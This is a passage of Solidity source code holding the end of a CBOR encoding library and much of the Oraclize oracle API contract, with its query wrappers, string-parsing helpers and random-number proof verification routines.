uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
